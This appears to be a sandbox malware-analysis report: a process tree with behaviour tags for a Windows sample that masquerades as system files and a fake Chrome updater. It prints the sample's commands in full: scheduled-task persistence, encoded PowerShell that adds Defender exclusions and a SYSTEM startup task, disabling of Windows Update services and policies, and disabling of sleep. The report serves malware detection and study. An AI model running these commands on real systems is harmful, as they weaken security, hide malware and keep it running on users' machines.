1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3324

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2056

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 11 /tr "'C:\Windows\RemotePackages\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2328

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Windows\RemotePackages\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2528

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\Windows\RemotePackages\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1636

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Portable Devices\backgroundTaskHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2308

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Portable Devices\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3276

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Portable Devices\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3248

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1740

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Users\Default User\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3656

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 11 /tr "'C:\Users\Default User\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4428

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\Desktop\dwm.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3484

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Users\Admin\Desktop\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3836

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 5 /tr "'C:\Users\Admin\Desktop\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1944

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3440

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4672

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3596

C:\Users\Admin\Desktop\dwm.exe
"C:\Users\Admin\Desktop\dwm.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5080

C:\Recovery\WindowsRE\dllhost.exe
"C:\Recovery\WindowsRE\dllhost.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5352

C:\Windows\ShellExperiences\conhost.exe
"C:\Windows\ShellExperiences\conhost.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5368

C:\Program Files (x86)\Internet Explorer\fr-FR\fv_fontreviewmonitordllrefsvc.exe
"C:\Program Files (x86)\Internet Explorer\fr-FR\fv_fontreviewmonitordllrefsvc.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5444

C:\Recovery\WindowsRE\RuntimeBroker.exe
"C:\Recovery\WindowsRE\RuntimeBroker.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5460

C:\Program Files (x86)\Windows Portable Devices\backgroundTaskHost.exe
"C:\Program Files (x86)\Windows Portable Devices\backgroundTaskHost.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5532

C:\Windows\RemotePackages\lsass.exe
"C:\Windows\RemotePackages\lsass.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5540

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\StartMenuExperienceHost.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\StartMenuExperienceHost.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5564

C:\Users\Default User\System.exe
"C:\Users\Default User\System.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5572

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
  2⤵
  - Drops file in System32 directory
  PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3500
- - C:\Windows\system32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4200
- - C:\Windows\system32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:5388
- - C:\Windows\system32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:5496
- - C:\Windows\system32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3540
- - C:\Windows\system32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:3372
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
    3⤵
    - Modifies registry key
    PID:4444
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
    3⤵
    - Modifies registry key
    PID:1304
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
    3⤵
    PID:5124
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
    3⤵
    - Modifies registry key
    PID:1148
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
    3⤵
    - Modifies registry key
    PID:2860
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\WaaSMedicSvc.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2556
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4508
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
    3⤵
    - Modifies registry key
    PID:5600
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
    3⤵
    PID:5788
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
    3⤵
    - Modifies registry key
    PID:5612
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
    3⤵
    - Modifies registry key
    PID:5772
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
    3⤵
    PID:5616
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
    3⤵
    PID:5744
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
    3⤵
    PID:5820
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
    3⤵
    PID:5464
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
    3⤵
    PID:5812
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
    3⤵
    PID:1436
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
    3⤵
    PID:3144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of WriteProcessMemory
  PID:5256
- - C:\Windows\system32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:1876
- - C:\Windows\system32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    PID:5352
- - C:\Windows\system32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:3716
- - C:\Windows\system32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    PID:5020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:6120
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe "wymlqpsxtghekej"
  2⤵
  PID:1784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:536
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:6036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:6100
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:2608
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:2740
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:4860
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:4496
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:1952
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:4776
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        
        PID:3584
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:4212
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        
        PID:5340
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        
        PID:2364
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        
        PID:1836
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2264
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3708
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        
        PID:5876
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:4324
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:3164
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:640
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:3516
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:2308
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:1820
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:1080
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:5184
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:1648
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:4948
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:2672
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:4060
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:3248
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:4164
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:540
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      PID:1832
  - - C:\Windows\System32\svchost.exe
